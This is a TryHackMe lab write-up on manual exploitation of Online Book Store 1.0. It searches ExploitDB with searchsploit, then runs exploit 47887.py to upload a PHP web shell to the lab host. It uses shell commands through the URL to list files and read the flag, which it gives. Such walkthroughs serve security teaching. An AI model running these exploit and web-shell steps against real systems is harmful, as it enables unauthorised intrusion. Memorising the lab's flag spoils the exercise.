

## Exploiting Vulnerability

### Task 5: Manual Exploitation

10.10.54.222

TryHackMe | Learn Cy... TryHackMe Support Offline CyberChef Revshell Generator Reverse Shell Cheat S... GitHub - swisskyrepo/...

CMNatic's Bookstore Publisher Books Contact My Cart

projectworlds Online Book Store v1.0

Show 15

Date	D	A	V	Title	Type	Platform	Author
2020-08-31	↓	×		Online Book Store 1.0 - 'id' SQL Injection	webapps	PHP	Moaaz Taha
2020-01-16	↓	×		Online Book Store 1.0 - Arbitrary File Upload	webapps	PHP	Or4nG.M4N
2020-01-15	↓	×		Online Book Store 1.0 - 'bookisbn' SQL Injection	webapps	PHP	Ertebat Gostar Co
2020-01-08	↓	✓		Online Book Store 1.0 - Unauthenticated Remote Code Execution	webapps	PHP	Tib3rius

```
root@ip-10-10-250-176:~# searchsploit online book store
[i] Found (#2): /opt/searchsploit/files_exploits.csv
[i] To remove this message, please edit "/opt/searchsploit/.searchsploit_rc" for "files_exploits.csv" (package_array: exploitdb)

[i] Found (#2): /opt/searchsploit/files_shellcodes.csv
[i] To remove this message, please edit "/opt/searchsploit/.searchsploit_rc" for "files_shellcodes.csv" (package_array: exploitdb)

-----
Exploit Title | Path
-----
GotoCode Online Bookstore - Multip | asp/webapps/17921.txt
Online Book Store 1.0 - 'bookisbn' | php/webapps/47922.txt
Online Book Store 1.0 - Arbitrary | php/webapps/47928.txt
Online Book Store 1.0 - Unauthenti | php/webapps/47887.py
-----
```

```
root@ip-10-10-250-176:~# searchsploit -m 47887.py
[i] Found (#2): /opt/searchsploit/files_exploits.csv
[i] To remove this message, please edit "/opt/searchsploit/.searchsploit_rc" for "files_exploits.csv" (package_array: exploitdb)

[i] Found (#2): /opt/searchsploit/files_shellcodes.csv
[i] To remove this message, please edit "/opt/searchsploit/.searchsploit_rc" for "files_shellcodes.csv" (package_array: exploitdb)

Exploit: Online Book Store 1.0 - Unauthenticated Remote Code Execution
URL: https://www.exploit-db.com/exploits/47887
Path: /opt/searchsploit/exploits/php/webapps/47887.py
File Type: ASCII text, with CRLF line terminators

Copied to: /root/47887.py

root@ip-10-10-250-176:~# python3 47887.py
usage: 47887.py [-h] url
47887.py: error: the following arguments are required: url
```

```
root@ip-10-10-250-176:~# python3 47887.py http://10.10.54.222
> Attempting to upload PHP web shell...
> Verifying shell upload...
> Web shell uploaded to http://10.10.54.222/bootstrap/img/no00xTjoWm.php
> Example command usage: http://10.10.54.222/bootstrap/img/no00xTjoWm.php?cmd=whoami
```

10.10.54.222/bootstrap/img/no00xTjoWm.php?cmd=ls

TryHackMe | Learn Cy... TryHackMe Support Offline CyberChef Revshell Generator Reverse Shell Cheat S... GitHub - swisskyrepo/...

OyWjgNLibq.php android\_studio.jpg beauty\_js.jpg c\_14\_quick.jpg c\_sharp\_6.jpg doing\_good.jpg flag.txt img1.jpg img2.jpg img3.jpg kotlin\_250x250.png logic\_program.jpg mobile\_app.jpg no00xTjoWm.php pro\_asp4.jpg pro\_js.jpg unnamed.png web\_app\_dev.jpg

10.10.54.222/bootstrap/img/no00xTjoWm.php?cmd=cat flag.txt

TryHackMe | Learn Cy... TryHackMe Support Offline CyberChef Revshell Generator Reverse Shell Cheat S...

THM{BOOK\_KEEPING}